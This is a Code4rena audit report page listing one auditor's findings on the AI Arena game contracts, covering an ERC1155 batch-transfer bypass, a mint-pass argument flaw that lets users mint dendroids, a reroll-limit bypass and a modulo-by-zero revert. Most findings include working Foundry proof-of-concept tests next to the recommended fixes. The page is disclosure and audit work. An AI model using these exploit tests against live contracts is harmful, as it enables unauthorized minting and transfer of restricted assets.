AI Arena - Ryonen's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L10 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134

Vulnerability details

Impact

Intransferable items are intended not to change ownership, and the GameItems contract addresses this by overriding safeTransferFrom to verify that require(allGameItemAttributes[tokenId].transferable) is met. However, it overlooks that ERC1155 tokens can also be transferred using safeBatchTransferFrom.

Proof of Concept

    function testTransferIntransferableItem() public {

        _gameItemsContract.adjustTransferability(0, false);

        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);

        uint256[] memory ids = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);

        ids[0] = 0;
        amounts[0] = 1;

        uint256 balancePre = _gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0);

        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 1);
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress ,
        _DELEGATED_ADDRESS,
        ids,
        amounts,
        "");

        uint256 balancePost = _gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0);

        assertEq(transferable, false);
        assertEq(balancePre, 0);
        assertEq(balancePost, 1);
        
    }

Tools Used

Foundry

Recommended Mitigation Steps

Override safeBatchTransferFrom in the same way as safeTransferFrom was overridden.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L251 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L235 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L257

Vulnerability details

Impact

The function FighterFarm.redeemMintPass attempts to generate a new fighter using a mintPass, but when claiming it, it burns it directly without verifying the arguments, allowing us to mint a completely customized fighter, such as minting dendroids at our pleasure.

Proof of Concept

    function testRedeemMintPassToMintDendroid() public {
        
        // numToMint => clearly we suppose to mint a fighter != dendroid
        uint8[2] memory numToMint = [1, 0];

        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "dna";
        _fighterTypes[0] = 1;
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1;

        _mintPassContract.approve(address(_fighterFarmContract), 1);

        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
        );

        (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0);
        
        assert(dendroidBool == true);

    }

Tools Used

Foundry

Recommended Mitigation Steps

Properly verify the arguments of redeemMintPass.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L372 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L129

Vulnerability details

Impact

The function FighterFarm.reRoll accepts tokenId and fighterType to perform a reRoll. We can also notice that numRerolls[tokenId] < maxRerollsAllowed[fighterType] to not exceed the maximum number of reRolls. Immediately, we can see that since fighterType is chosen by msg.sender, we can perform more reRolls than what our NFT of its corresponding fighterType should actually allow.

Proof of Concept

By calling FighterFarm.incrementGeneration, we can differentiate the default values of maxRerollsAllowed[fighterType]. Therefore, we can immediately notice that require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); within the reRoll function loses precision.

Tools Used

Manual Review

Recommended Mitigation Steps

fighterType should be obtained through the tokenId within the reRoll function.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L470 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L110 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L42 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L129-L134

Vulnerability details

Impact

FighterFarm._createFighterBase attempts to establish an element using a DNA, a modulo (%) operation, and numElements[generation[fighterType]]. To begin with, this requires numElements[generation[fighterType]] != 0 for the function not to revert (one might think that this is what the developer intended, but it's a very uninformative way of handling the exception). Additionally, we have no way of editing numElements, so the only generation[fighterType] value that prevents the function from reverting is the one set in the constructor of the contract numElements[0] = 3.

Proof of Concept

    function testMintDendroidGen0ShouldSucceed() public {

        uint8[2] memory numToMint = [1, 0];

        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "dna";
        _fighterTypes[0] = 1;
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1;

        _mintPassContract.approve(address(_fighterFarmContract), 1);

        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
        );

        (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0);
        
        assert(dendroidBool == true);
    }

    function testMintDendroidGen1ShouldRevert() public {

        uint8[2] memory numToMint = [1, 0];

        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "dna";
        _fighterTypes[0] = 1;
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1;

        _mintPassContract.approve(address(_fighterFarmContract), 1);

        _fighterFarmContract.incrementGeneration(1);

        vm.expectRevert();

        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
        );

    } 

To create a dendroid without modifying the code, I leveraged what I consider a vulnerability in _fighterFarmContract.redeemMintPass, which I reported separately, so it can be ignored. The purpose is to understand that once we increase _fighterFarmContract.incrementGeneration(1), we can no longer create more dendroids due to the following error: panic: division or modulo by zero (0x12).

Tools Used

Foundry

Recommended Mitigation Steps

Being able to modify numElements through a function accessible only by the developer could be an option.

Assessed type

Other

Judge has assessed an item in Issue #1929 as 2 risk. The relevant finding follows:

Increasing to 7 winners per round and with 6000 roundIds previously played, approximately when a transaction reaches the 30M limit for new users in the protocol, considering that each roundId is 14 days, we would not have problems with the current implementation for new users starting at elevated roundIds.